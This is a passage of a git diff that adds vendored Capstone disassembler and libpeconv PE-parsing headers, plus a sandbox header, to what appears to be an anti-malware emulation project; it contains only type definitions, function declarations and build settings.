XCORE_INS_BT, + XCORE_INS_BU, + XCORE_INS_BRU, + XCORE_INS_BYTEREV, + XCORE_INS_CHKCT, + XCORE_INS_CLRE, + XCORE_INS_CLRPT, + XCORE_INS_CLRSR, + XCORE_INS_CLZ, + XCORE_INS_CRC8, + XCORE_INS_CRC32, + XCORE_INS_DCALL, + XCORE_INS_DENTSP, + XCORE_INS_DGETREG, + XCORE_INS_DIVS, + XCORE_INS_DIVU, + XCORE_INS_DRESTSP, + XCORE_INS_DRET, + XCORE_INS_ECALLF, + XCORE_INS_ECALLT, + XCORE_INS_EDU, + XCORE_INS_EEF, + XCORE_INS_EET, + XCORE_INS_EEU, + XCORE_INS_ENDIN, + XCORE_INS_ENTSP, + XCORE_INS_EQ, + XCORE_INS_EXTDP, + XCORE_INS_EXTSP, + XCORE_INS_FREER, + XCORE_INS_FREET, + XCORE_INS_GETD, + XCORE_INS_GET, + XCORE_INS_GETN, + XCORE_INS_GETR, + XCORE_INS_GETSR, + XCORE_INS_GETST, + XCORE_INS_GETTS, + XCORE_INS_INCT, + XCORE_INS_INIT, + XCORE_INS_INPW, + XCORE_INS_INSHR, + XCORE_INS_INT, + XCORE_INS_IN, + XCORE_INS_KCALL, + XCORE_INS_KENTSP, + XCORE_INS_KRESTSP, + XCORE_INS_KRET, + XCORE_INS_LADD, + XCORE_INS_LD16S, + XCORE_INS_LD8U, + XCORE_INS_LDA16, + XCORE_INS_LDAP, + XCORE_INS_LDAW, + XCORE_INS_LDC, + XCORE_INS_LDW, + XCORE_INS_LDIVU, + XCORE_INS_LMUL, + XCORE_INS_LSS, + XCORE_INS_LSUB, + XCORE_INS_LSU, + XCORE_INS_MACCS, + XCORE_INS_MACCU, + XCORE_INS_MJOIN, + XCORE_INS_MKMSK, + XCORE_INS_MSYNC, + XCORE_INS_MUL, + XCORE_INS_NEG, + XCORE_INS_NOT, + XCORE_INS_OR, + XCORE_INS_OUTCT, + XCORE_INS_OUTPW, + XCORE_INS_OUTSHR, + XCORE_INS_OUTT, + XCORE_INS_OUT, + XCORE_INS_PEEK, + XCORE_INS_REMS, + XCORE_INS_REMU, + XCORE_INS_RETSP, + XCORE_INS_SETCLK, + XCORE_INS_SET, + XCORE_INS_SETC, + XCORE_INS_SETD, + XCORE_INS_SETEV, + XCORE_INS_SETN, + XCORE_INS_SETPSC, + XCORE_INS_SETPT, + XCORE_INS_SETRDY, + XCORE_INS_SETSR, + XCORE_INS_SETTW, + XCORE_INS_SETV, + XCORE_INS_SEXT, + XCORE_INS_SHL, + XCORE_INS_SHR, + XCORE_INS_SSYNC, + XCORE_INS_ST16, + XCORE_INS_ST8, + XCORE_INS_STW, + XCORE_INS_SUB, + XCORE_INS_SYNCR, + XCORE_INS_TESTCT, + XCORE_INS_TESTLCL, + XCORE_INS_TESTWCT, + XCORE_INS_TSETMR, + XCORE_INS_START, + XCORE_INS_WAITEF, + XCORE_INS_WAITET, + XCORE_INS_WAITEU, + XCORE_INS_XOR, + XCORE_INS_ZEXT, + + XCORE_INS_ENDING, // <-- mark the end of the list of instructions +} xcore_insn; + +/// Group of XCore instructions +typedef enum xcore_insn_group { + XCORE_GRP_INVALID = 0, ///< = CS_GRP_INVALID + + // Generic groups + // all jump instructions (conditional+direct+indirect jumps) + XCORE_GRP_JUMP, ///< = CS_GRP_JUMP + + XCORE_GRP_ENDING, // <-- mark the end of the list of groups +} xcore_insn_group; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/ai_anti_malware/capstone/include/platform.h b/ai_anti_malware/capstone/include/platform.h new file mode 100644 index 0000000..b0d1a2d --- /dev/null +++ b/ai_anti_malware/capstone/include/platform.h @@ -0,0 +1,110 @@ +/* Capstone Disassembly Engine */ +/* By Axel Souchet & Nguyen Anh Quynh, 2014 */ + +#ifndef CAPSTONE_PLATFORM_H +#define CAPSTONE_PLATFORM_H + +// handle C99 issue (for pre-2013 VisualStudio) +#if !defined(__CYGWIN__) && !defined(__MINGW32__) && !defined(__MINGW64__) && (defined (WIN32) || defined (WIN64) || defined (_WIN32) || defined (_WIN64)) +// MSVC + +// stdbool.h +#if (_MSC_VER < 1800) || defined(_KERNEL_MODE) +// this system does not have stdbool.h +#ifndef __cplusplus +typedef unsigned char bool; +#define false 0 +#define true 1 +#endif + +#else +// VisualStudio 2013+ -> C99 is supported +#include +#endif + +#else +// not MSVC -> C99 is supported +#include +#endif + + +// handle C99 issue (for pre-2013 VisualStudio) +#if defined(CAPSTONE_HAS_OSXKERNEL) || (defined(_MSC_VER) && (_MSC_VER <= 1700 || defined(_KERNEL_MODE))) +// this system does not have inttypes.h + +#if defined(_MSC_VER) && (_MSC_VER < 1600 || defined(_KERNEL_MODE)) +// this system does not have stdint.h +typedef signed char int8_t; +typedef signed short int16_t; +typedef signed int int32_t; +typedef unsigned char uint8_t; +typedef unsigned short uint16_t; +typedef unsigned int uint32_t; +typedef signed long long int64_t; +typedef unsigned long long uint64_t; + +#define INT8_MIN (-127i8 - 1) +#define INT16_MIN (-32767i16 - 1) +#define INT32_MIN (-2147483647i32 - 1) +#define INT64_MIN (-9223372036854775807i64 - 1) +#define INT8_MAX 127i8 +#define INT16_MAX 32767i16 +#define INT32_MAX 2147483647i32 +#define INT64_MAX 9223372036854775807i64 +#define UINT8_MAX 0xffui8 +#define UINT16_MAX 0xffffui16 +#define UINT32_MAX 0xffffffffui32 +#define UINT64_MAX 0xffffffffffffffffui64 +#endif + +#define __PRI_8_LENGTH_MODIFIER__ "hh" +#define __PRI_64_LENGTH_MODIFIER__ "ll" + +#define PRId8 __PRI_8_LENGTH_MODIFIER__ "d" +#define PRIi8 __PRI_8_LENGTH_MODIFIER__ "i" +#define PRIo8 __PRI_8_LENGTH_MODIFIER__ "o" +#define PRIu8 __PRI_8_LENGTH_MODIFIER__ "u" +#define PRIx8 __PRI_8_LENGTH_MODIFIER__ "x" +#define PRIX8 __PRI_8_LENGTH_MODIFIER__ "X" + +#define PRId16 "hd" +#define PRIi16 "hi" +#define PRIo16 "ho" +#define PRIu16 "hu" +#define PRIx16 "hx" +#define PRIX16 "hX" + +#if defined(_MSC_VER) && _MSC_VER <= 1700 +#define PRId32 "ld" +#define PRIi32 "li" +#define PRIo32 "lo" +#define PRIu32 "lu" +#define PRIx32 "lx" +#define PRIX32 "lX" +#else // OSX +#define PRId32 "d" +#define PRIi32 "i" +#define PRIo32 "o" +#define PRIu32 "u" +#define PRIx32 "x" +#define PRIX32 "X" +#endif + +#if defined(_MSC_VER) && _MSC_VER <= 1700 +// redefine functions from inttypes.h used in cstool +#define strtoull _strtoui64 +#endif + +#define PRId64 __PRI_64_LENGTH_MODIFIER__ "d" +#define PRIi64 __PRI_64_LENGTH_MODIFIER__ "i" +#define PRIo64 __PRI_64_LENGTH_MODIFIER__ "o" +#define PRIu64 __PRI_64_LENGTH_MODIFIER__ "u" +#define PRIx64 __PRI_64_LENGTH_MODIFIER__ "x" +#define PRIX64 __PRI_64_LENGTH_MODIFIER__ "X" + +#else +// this system has inttypes.h by default +#include +#endif + +#endif diff --git a/ai_anti_malware/capstone/include/windowsce/intrin.h b/ai_anti_malware/capstone/include/windowsce/intrin.h new file mode 100644 index 0000000..fde4bde --- /dev/null +++ b/ai_anti_malware/capstone/include/windowsce/intrin.h @@ -0,0 +1,12 @@ + +#if defined(_MSC_VER) && defined(_WIN32_WCE) && (_WIN32_WCE < 0x800) && !defined(__INTRIN_H_) && !defined(_INTRIN) +#define _STDINT + +#ifdef _M_ARM +#include +#if (_WIN32_WCE >= 0x700) && defined(__ARM_ARCH_7__) || defined(__ARM_ARCH_7A__) +#include +#endif +#endif // _M_ARM + +#endif diff --git a/ai_anti_malware/capstone/include/windowsce/stdint.h b/ai_anti_malware/capstone/include/windowsce/stdint.h new file mode 100644 index 0000000..014a163 --- /dev/null +++ b/ai_anti_malware/capstone/include/windowsce/stdint.h @@ -0,0 +1,133 @@ + +#if defined(_MSC_VER) && defined(_WIN32_WCE) && (_WIN32_WCE < 0x800) && !defined(_STDINT_H_) && !defined(_STDINT) +#define _STDINT + +typedef __int8 + int8_t, + int_least8_t; + +typedef __int16 + int16_t, + int_least16_t; + +typedef __int32 + int32_t, + int_least32_t, + int_fast8_t, + int_fast16_t, + int_fast32_t; + +typedef __int64 + int64_t, + intmax_t, + int_least64_t, + int_fast64_t; + +typedef unsigned __int8 + uint8_t, + uint_least8_t; + +typedef unsigned __int16 + uint16_t, + uint_least16_t; + +typedef unsigned __int32 + uint32_t, + uint_least32_t, + uint_fast8_t, + uint_fast16_t, + uint_fast32_t; + +typedef unsigned __int64 + uint64_t, + uintmax_t, + uint_least64_t, + uint_fast64_t; + +#ifndef _INTPTR_T_DEFINED +#define _INTPTR_T_DEFINED +typedef __int32 intptr_t; +#endif + +#ifndef _UINTPTR_T_DEFINED +#define _UINTPTR_T_DEFINED +typedef unsigned __int32 uintptr_t; +#endif + +#define INT8_MIN (-127i8 - 1) +#define INT16_MIN (-32767i16 - 1) +#define INT32_MIN (-2147483647i32 - 1) +#define INT64_MIN (-9223372036854775807i64 - 1) +#define INT8_MAX 127i8 +#define INT16_MAX 32767i16 +#define INT32_MAX 2147483647i32 +#define INT64_MAX 9223372036854775807i64 +#define UINT8_MAX 0xffui8 +#define UINT16_MAX 0xffffui16 +#define UINT32_MAX 0xffffffffui32 +#define UINT64_MAX 0xffffffffffffffffui64 + +#define INT_LEAST8_MIN INT8_MIN +#define INT_LEAST16_MIN INT16_MIN +#define INT_LEAST32_MIN INT32_MIN +#define INT_LEAST64_MIN INT64_MIN +#define INT_LEAST8_MAX INT8_MAX +#define INT_LEAST16_MAX INT16_MAX +#define INT_LEAST32_MAX INT32_MAX +#define INT_LEAST64_MAX INT64_MAX +#define UINT_LEAST8_MAX UINT8_MAX +#define UINT_LEAST16_MAX UINT16_MAX +#define UINT_LEAST32_MAX UINT32_MAX +#define UINT_LEAST64_MAX UINT64_MAX + +#define INT_FAST8_MIN INT8_MIN +#define INT_FAST16_MIN INT32_MIN +#define INT_FAST32_MIN INT32_MIN +#define INT_FAST64_MIN INT64_MIN +#define INT_FAST8_MAX INT8_MAX +#define INT_FAST16_MAX INT32_MAX +#define INT_FAST32_MAX INT32_MAX +#define INT_FAST64_MAX INT64_MAX +#define UINT_FAST8_MAX UINT8_MAX +#define UINT_FAST16_MAX UINT32_MAX +#define UINT_FAST32_MAX UINT32_MAX +#define UINT_FAST64_MAX UINT64_MAX + +#define INTPTR_MIN INT32_MIN +#define INTPTR_MAX INT32_MAX +#define UINTPTR_MAX UINT32_MAX + +#define INTMAX_MIN INT64_MIN +#define INTMAX_MAX INT64_MAX +#define UINTMAX_MAX UINT64_MAX + +#define PTRDIFF_MIN INTPTR_MIN +#define PTRDIFF_MAX INTPTR_MAX + +#ifndef SIZE_MAX +#define SIZE_MAX UINTPTR_MAX +#endif + +#define SIG_ATOMIC_MIN INT32_MIN +#define SIG_ATOMIC_MAX INT32_MAX + +#define WCHAR_MIN 0x0000 +#define WCHAR_MAX 0xffff + +#define WINT_MIN 0x0000 +#define WINT_MAX 0xffff + +#define INT8_C(x) (x) +#define INT16_C(x) (x) +#define INT32_C(x) (x) +#define INT64_C(x) (x ## LL) + +#define UINT8_C(x) (x) +#define UINT16_C(x) (x) +#define UINT32_C(x) (x ## U) +#define UINT64_C(x) (x ## ULL) + +#define INTMAX_C(x) INT64_C(x) +#define UINTMAX_C(x) UINT64_C(x) + +#endif diff --git a/ai_anti_malware/head.h b/ai_anti_malware/head.h new file mode 100644 index 0000000..adc6ef8 --- /dev/null +++ b/ai_anti_malware/head.h @@ -0,0 +1,31 @@ +#pragma once +#define _CRT_SECURE_NO_WARNINGS +#include +#include +#include +#include +#include +#include +#include +#include + + +#include "unicorn/include/unicorn/unicorn.h" +#include "capstone/include/capstone/capstone.h" +#pragma comment(lib, "unicorn/unicorn.lib") +#pragma comment(lib, "capstone/capstone.lib") +#include "libpeconv/include/peconv.h" +#include "native_struct.h" +struct BasicPeInfo { + std::string inputFilePath; + bool isX64; + uint64_t RecImageBase; + uint64_t entryPoint; + uint64_t imageEnd; + bool isRelocated; + uint8_t* peBuffer; + size_t peSize; + PIMAGE_NT_HEADERS ntHead64; + PIMAGE_NT_HEADERS32 ntHead32; +}; +#include "sandbox.h" diff --git a/ai_anti_malware/libpeconv/libpeconv/CMakeLists.txt b/ai_anti_malware/libpeconv/libpeconv/CMakeLists.txt new file mode 100644 index 0000000..5961016 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/CMakeLists.txt @@ -0,0 +1,83 @@ +cmake_minimum_required ( VERSION 2.8 ) +project ( libpeconv ) + +set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} /MT") + +include_directories ( + include +) + +set (srcs + src/pe_hdrs_helper.cpp + src/pe_mode_detector.cpp + src/pe_raw_to_virtual.cpp + src/pe_virtual_to_raw.cpp + src/relocate.cpp + src/buffer_util.cpp + src/remote_pe_reader.cpp + src/imports_loader.cpp + src/delayed_imports_loader.cpp + src/fix_imports.cpp + src/pe_loader.cpp + src/pe_dumper.cpp + src/exports_lookup.cpp + src/function_resolver.cpp + src/hooks.cpp + src/exported_func.cpp + src/exports_mapper.cpp + src/resource_parser.cpp + src/file_util.cpp + src/resource_util.cpp + src/imports_uneraser.cpp + src/load_config_util.cpp + src/caves.cpp + src/util.cpp + src/fix_dot_net_ep.cpp + src/find_base.cpp + src/peb_lookup.cpp +) + +set (hdrs + include/peconv.h + include/peconv/pe_hdrs_helper.h + include/peconv/pe_mode_detector.h + include/peconv/pe_raw_to_virtual.h + include/peconv/pe_virtual_to_raw.h + include/peconv/relocate.h + include/peconv/util.h + include/peconv/buffer_util.h + include/peconv/remote_pe_reader.h + include/peconv/imports_loader.h + include/peconv/delayed_imports_loader.h + include/peconv/fix_imports.h + include/peconv/pe_loader.h + include/peconv/pe_dumper.h + include/peconv/exports_lookup.h + include/peconv/function_resolver.h + include/peconv/hooks.h + include/peconv/exported_func.h + include/peconv/exports_mapper.h + include/peconv/resource_parser.h + include/peconv/file_util.h + include/peconv/resource_util.h + include/peconv/imports_uneraser.h + include/peconv/load_config_util.h + include/peconv/load_config_defs.h + include/peconv/caves.h + include/peconv/find_base.h + include/peconv/peb_lookup.h + src/fix_dot_net_ep.h #not in API +) + +add_library ( ${PROJECT_NAME} STATIC ${hdrs} ${srcs} ) + +if(PECONV_LIB_INSTALL) + include(GNUInstallDirs) + + install(TARGETS ${PROJECT_NAME} + ARCHIVE DESTINATION ${CMAKE_INSTALL_LIBDIR} + LIBRARY DESTINATION ${CMAKE_INSTALL_LIBDIR} + RUNTIME DESTINATION ${CMAKE_INSTALL_BINDIR}) + + install(DIRECTORY "include/" DESTINATION ${CMAKE_INSTALL_INCLUDEDIR}) +endif() diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv.h new file mode 100644 index 0000000..698ec87 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv.h @@ -0,0 +1,30 @@ +/** +* @file +* @brief Master include file, including everything else. +*/ + +#pragma once + +#include "peconv/buffer_util.h" +#include "peconv/util.h" +#include "peconv/pe_hdrs_helper.h" +#include "peconv/pe_mode_detector.h" +#include "peconv/pe_raw_to_virtual.h" +#include "peconv/pe_virtual_to_raw.h" +#include "peconv/relocate.h" +#include "peconv/remote_pe_reader.h" +#include "peconv/imports_loader.h" +#include "peconv/pe_loader.h" +#include "peconv/pe_dumper.h" +#include "peconv/exports_lookup.h" +#include "peconv/function_resolver.h" +#include "peconv/hooks.h" +#include "peconv/exports_mapper.h" +#include "peconv/caves.h" +#include "peconv/fix_imports.h" +#include "peconv/delayed_imports_loader.h" +#include "peconv/resource_parser.h" +#include "peconv/load_config_util.h" +#include "peconv/peb_lookup.h" +#include "peconv/find_base.h" + diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv/buffer_util.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv/buffer_util.h new file mode 100644 index 0000000..7383ad3 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv/buffer_util.h @@ -0,0 +1,76 @@ +/** +* @file +* @brief Definitions of the used buffer types. Functions for their allocation and deallocation. +*/ + +#pragma once + +#include + +namespace peconv { + + /** + Validates pointers, checks if the particular field is inside the given buffer. Sizes must be given in bytes. + */ + bool validate_ptr( + IN const void* buffer_bgn, + IN SIZE_T buffer_size, + IN const void* field_bgn, + IN SIZE_T field_size + ); + +//----------------------------------------------------------------------------------- +// +// supported buffers: +// + /** + A buffer allocated on the heap of a process, not aligned to the beginning of a memory page. + */ + typedef PBYTE UNALIGNED_BUF; + + /** + A buffer allocated in a virtual space of a process, aligned to the beginning of a memory page. + */ + typedef PBYTE ALIGNED_BUF; + +// +// alloc/free unaligned buffers: +// + /** + Allocates a buffer on the heap. Can be used in the cases when the buffer does not have to start at the beginning of a page. + */ + UNALIGNED_BUF alloc_unaligned(size_t buf_size); + + // + /** + Frees buffer allocated by alloc_unaligned. + */ + void free_unaligned(UNALIGNED_BUF section_buffer); + +// +// alloc/free aligned buffers: +// + + /** + Allocates a buffer of a virtual memory (using VirtualAlloc). Can be used in the cases when the buffer have to be aligned to the beginning of a page. + */ + ALIGNED_BUF alloc_aligned(size_t buffer_size, DWORD protect, ULONGLONG desired_base=NULL, bool is_x64 = false); + + /** + Frees buffer allocated by alloc_aligned. + */ + bool free_aligned(ALIGNED_BUF buffer, size_t buffer_size=0); + + //PE buffers (wrappers) + + /** + Allocates an aligned buffer for a PE file. + */ + ALIGNED_BUF alloc_pe_buffer(size_t buffer_size, DWORD protect, ULONGLONG desired_base=NULL); + + /** + Free the memory allocated with alloc_pe_buffer. + */ + bool free_pe_buffer(ALIGNED_BUF buffer, size_t buffer_size=0); + +}; //namespace peconv diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv/caves.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv/caves.h new file mode 100644 index 0000000..7b5b5d7 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv/caves.h @@ -0,0 +1,27 @@ +/** +* @file +* @brief Functions related to finding caves in the loaded PE file. +*/ + +#pragma once + +#include + +namespace peconv { + + /** + Finds cave at the end of the image (extend last section's raw size without extending the full image size) + */ + PBYTE find_ending_cave(BYTE* module_ptr, size_t module_size, const DWORD cave_size, const DWORD cave_charact=IMAGE_SCN_MEM_READ); + + /** + Finds cave in the difference between the original raw size, and the raw size rounded to the aligmnent + */ + PBYTE find_alignment_cave(BYTE* modulePtr, size_t moduleSize, const DWORD cave_size, const DWORD req_charact = IMAGE_SCN_MEM_READ); + + /** + Finds cave at the end of the section, that comes from a NULL padding or INT3 padding + */ + PBYTE find_padding_cave(BYTE* modulePtr, size_t moduleSize, const size_t minimal_size, const DWORD req_charact = IMAGE_SCN_MEM_READ); + +};//namespace peconv diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv/delayed_imports_loader.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv/delayed_imports_loader.h new file mode 100644 index 0000000..7c875f9 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv/delayed_imports_loader.h @@ -0,0 +1,61 @@ +/** +* @file +* @brief Parsing and filling the Delayload Import Table. +*/ + +#pragma once + +#include + +#include "pe_hdrs_helper.h" +#include "function_resolver.h" + +#if (defined(_WIN32_WINNT) && _WIN32_WINNT > 0x0601) || __MINGW32__ //Windows SDK version 6.1 (Windows 7) +#define DELAYLOAD_IMPORTS_DEFINED +#endif + +#ifndef DELAYLOAD_IMPORTS_DEFINED +#include "pshpack4.h" + +typedef struct _IMAGE_DELAYLOAD_DESCRIPTOR { + union { + DWORD AllAttributes; + struct { + DWORD RvaBased : 1; // Delay load version 2 + DWORD ReservedAttributes : 31; + } DUMMYSTRUCTNAME; + } Attributes; + + DWORD DllNameRVA; // RVA to the name of the target library (NULL-terminate ASCII string) + DWORD ModuleHandleRVA; // RVA to the HMODULE caching location (PHMODULE) + DWORD ImportAddressTableRVA; // RVA to the start of the IAT (PIMAGE_THUNK_DATA) + DWORD ImportNameTableRVA; // RVA to the start of the name table (PIMAGE_THUNK_DATA::AddressOfData) + DWORD BoundImportAddressTableRVA; // RVA to an optional bound IAT + DWORD UnloadInformationTableRVA; // RVA to an optional unload info table + DWORD TimeDateStamp; // 0 if not bound, + // Otherwise, date/time of the target DLL + +} IMAGE_DELAYLOAD_DESCRIPTOR, *PIMAGE_DELAYLOAD_DESCRIPTOR; + +typedef const IMAGE_DELAYLOAD_DESCRIPTOR *PCIMAGE_DELAYLOAD_DESCRIPTOR; + +#include "poppack.h" +#endif + +namespace peconv { + + /** + Get the Delayload Imports directory. Returns the pointer to the first descriptor. The size of the directory is passed via variable dir_size. + */ + IMAGE_DELAYLOAD_DESCRIPTOR* get_delayed_imps(IN const BYTE* modulePtr, IN const size_t moduleSize, OUT size_t &dir_size); + + /** + Fill the Delayload Imports in the given module. + \param modulePtr : the pointer to the module where the imports needs to be filled. + \param moduleBase : the base to which the module was relocated, it may (or not) be the same as modulePtr + \param func_resolver : the resolver that will be used for loading the imports + \return : true if resolving all succeeded, false otherwise + */ + bool load_delayed_imports(BYTE* modulePtr, const ULONGLONG moduleBase, t_function_resolver* func_resolver = nullptr); + +}; // namespace peconv diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv/exported_func.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv/exported_func.h new file mode 100644 index 0000000..4500813 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv/exported_func.h @@ -0,0 +1,123 @@ +/** +* @file +* @brief A definition of ExportedFunc class - used for storing the details of the exported function. Helper functions related to the export parsing. +*/ + +#pragma once + +#include +#include +#include +#include + +namespace peconv { + + /** + Check if the pointer redirects to a forwarder - if so, return the length, otherwise return 0. + */ + size_t forwarder_name_len(BYTE* fPtr); + + /** + get the DLL name without the extension + */ + std::string get_dll_shortname(const std::string& str); + + /** + Get the function name from the string in a format: DLL_name.function_name + */ + std::string get_func_name(const std::string& str); + + /** + Convert ordinal value to the ordinal string (in a format #[ordinal]) + */ + std::string ordinal_to_string(DWORD func_ordinal); + + /** + Check if the given string is in a format typical for storing ordinals (#[ordinal]) + */ + bool is_ordinal_string(const std::string& str); + + /** + Get the ordinal value from the ordinal string (in a format #[ordinal]) + */ + DWORD ordinal_string_to_val(const std::string& str); + + /** + Convert the function in a format: DLL_name.function_name into a normalized form (DLL name in lowercase). + */ + std::string format_dll_func(const std::string& str); + + /** + A class storing the information about the exported function. + */ + class ExportedFunc + { + public: + /** + Converts the name to the normalized format. + */ + static std::string formatName(std::string name); + + std::string libName; + std::string funcName; + DWORD funcOrdinal; + bool isByOrdinal; + + //default constructor: + ExportedFunc() : funcOrdinal(0), isByOrdinal(false) {} + + ExportedFunc(const ExportedFunc& other); + ExportedFunc(std::string libName, std::string funcName, DWORD funcOrdinal); + ExportedFunc(std::string libName, DWORD funcOrdinal); + ExportedFunc(const std::string &forwarderName); + + /** + Compare two functions with each other. + Gives the priority to the named functions: if one of the compared functions is unnamed, the named one is treated as smaller. + If both functions are unnamed, the function with the smaller ordinal is treated as smaller. + Otherwise, the function with the shorter name is treated as smaller. + */ + bool operator < (const ExportedFunc& other) const + { + //if only one function is named, give the preference to the named one: + const size_t thisNameLen = this->funcName.length(); + const size_t otherNameLen = other.funcName.length(); + if (thisNameLen == 0 && otherNameLen > 0) { + return false; + } + if (thisNameLen > 0 && otherNameLen == 0) { + return true; + } + //select by shorter lib name: + int cmp = libName.compare(other.libName); + if (cmp != 0) { + return cmp < 0; + } + if (thisNameLen == 0 || otherNameLen == 0) { + return this->funcOrdinal < other.funcOrdinal; + } + if (thisNameLen != otherNameLen) { + return thisNameLen < otherNameLen; + } + cmp = funcName.compare(other.funcName); + return cmp < 0; + } + + /** + Gets a string representation of the variable. Full info about the function: library, name, ordinal. + */ + std::string toString() const; + + /** + Gets a string representation of the variable. Short info about the function: only function name or ordinal (if the name is missing). + */ + std::string nameToString() const; + + bool isValid() const + { + return (funcName != "" || funcOrdinal != -1); + } + }; + +}; //namespace peconv + diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv/exports_lookup.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv/exports_lookup.h new file mode 100644 index 0000000..a3b1895 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv/exports_lookup.h @@ -0,0 +1,50 @@ +/** +* @file +* @brief Searching specific functions in PE's Exports Table. +*/ + +#pragma once +#include + +#include "pe_hdrs_helper.h" +#include "function_resolver.h" +#include "exports_mapper.h" + +#include +#include +#include + +namespace peconv { + + /** + Gets the function address by the name. Uses Export Table lookup. + WARNING: doesn't work for the forwarded functions. + */ + FARPROC get_exported_func(PVOID modulePtr, LPSTR wanted_name); + + /** + Gets list of all the functions from a given module that are exported by names. + */ + size_t get_exported_names(PVOID modulePtr, std::vector &names_list); + + /** + Function resolver using Export Table lookup. + */ + class export_based_resolver : default_func_resolver { + public: + /** + Get the address (VA) of the function with the given name, from the given DLL. + Uses Export Table lookup as a primary method of finding the import. On failure it falls back to the default Functions Resolver. + \param func_name : the name of the function + \param lib_name : the name of the DLL + \return Virtual Address of the exported function + */ + virtual FARPROC resolve_func(LPSTR lib_name, LPSTR func_name); + }; + + /** + Read the DLL name from the Export Table. + */ + LPSTR read_dll_name(HMODULE modulePtr); + +}; //namespace peconv diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv/exports_mapper.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv/exports_mapper.h new file mode 100644 index 0000000..e490861 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv/exports_mapper.h @@ -0,0 +1,140 @@ +/** +* @file +* @brief A definition of ExportsMapper class. Creates a lookup of all the exported functions from the supplied DLLs. Allows to associate an address with a corresponding function. +*/ + +#pragma once + +#include + +#include +#include +#include +#include + +#include "pe_hdrs_helper.h" +#include "pe_raw_to_virtual.h" +#include "peconv/exported_func.h" +#include "peconv/file_util.h" + +namespace peconv { + + class ExportsMapper { + + public: + + /** + Appends the given DLL to the lookup table of exported functions. Returns the number of functions exported from this DLL (not forwarded). + \param moduleName : name of the DLL + \param modulePtr : buffer containing the DLL in a Virtual format + \param moduleBase : a base address to which the given DLL was relocated + */ + size_t add_to_lookup(std::string moduleName, HMODULE modulePtr, ULONGLONG moduleBase); + + /** + Appends the given DLL to the lookup table of exported functions. Returns the number of functions exported from this DLL (not forwarded). + Assumes that the module was relocated to the same address as is the address of the given buffer (modulePtr). + (A wrapper for the case if we are adding a DLL that was loaded within the current process.) + \param moduleName : name of the DLL + \param modulePtr : buffer containing the DLL in a Virtual format. + */ + size_t add_to_lookup(std::string moduleName, HMODULE modulePtr) + { + return add_to_lookup(moduleName, modulePtr, reinterpret_cast(modulePtr)); + } + + /** + Find the set of Exported Functions that can be mapped to the given VA. Includes forwarders, and function aliases. + */ + const std::set* find_exports_by_va(ULONGLONG va) const + { + std::map>::const_iterator itr = va_to_func.find(va); + if (itr != va_to_func.end()) { + const std::set &fSet = itr->second; + return &fSet; + } + return NULL; + } + + /** + Retrieve the full path of the DLL with the given short name. + */ + std::string get_dll_path(std::string short_name) const + { + std::map::const_iterator found = this->dll_shortname_to_path.find(short_name); + if (found == dll_shortname_to_path.end()) { + return ""; + } + return found->second; + } + + /** + Retrieve the full name of the DLL (including the extension) using its short name (without the extension). + */ + std::string get_dll_fullname(std::string short_name) const + { + std::string dll_path = get_dll_path(short_name); + if (dll_path.length() == 0) return ""; + + return get_file_name(dll_path); + } + + /** + Find an Exported Function that can be mapped to the given VA, + */ + const ExportedFunc* find_export_by_va(ULONGLONG va) const + { + const std::set* exp_set = find_exports_by_va(va); + if (exp_set == NULL) return NULL; + + std::set::iterator fItr = exp_set->begin(); + const ExportedFunc* func = &(*fItr); + return func; + } + + void print_va_to_func(std::stringstream &stream) const; + void print_func_to_va(std::stringstream &stream) const; + + + private: + enum ADD_FUNC_RES { RES_INVALID = 0, RES_MAPPED = 1, RES_FORWARDED = 2 }; + ADD_FUNC_RES add_function_to_lookup(HMODULE modulePtr, ULONGLONG moduleBase, size_t moduleSize, ExportedFunc &currFunc, DWORD callRVA); + + bool add_forwarded(ExportedFunc &currFunc, DWORD callRVA, PBYTE modulePtr, size_t moduleSize); + bool add_to_maps(ULONGLONG va, ExportedFunc &currFunc); + + size_t resolve_forwarders(const ULONGLONG va, ExportedFunc &currFunc); + size_t make_ord_lookup_tables(PVOID modulePtr, size_t moduleSize, std::map &va_to_ord); + + protected: + /** + Add a function and a VA into a mutual mapping. + */ + void associateVaAndFunc(ULONGLONG va, const ExportedFunc& func) + { + va_to_func[va].insert(func); + func_to_va[func] = va; + } + + /** + A map associating VA of the function with the related exports. + */ + std::map> va_to_func; + + /** + A map associating an exported functions with its forwarders. + */ + std::map> forwarders_lookup; + + /** + A map associating an exported functions with its VA. + */ + std::map func_to_va; + + /** + A map associating DLL shortname with the full path to the DLL. + */ + std::map dll_shortname_to_path; + }; + +}; //namespace peconv diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv/file_util.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv/file_util.h new file mode 100644 index 0000000..7e46dd8 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv/file_util.h @@ -0,0 +1,55 @@ +/** +* @file +* @brief Functions related to operations on files. Wrappers for read/write. +*/ + +#pragma once + +#include +#include + +#include "buffer_util.h" + +namespace peconv { + + /** + Maps a file with the given path and copies its raw content into the output buffer. + If read_size is not zero, it reads maximum read_size of bytes. If read_size is zero, it reads the full file. + The actual read size is returned 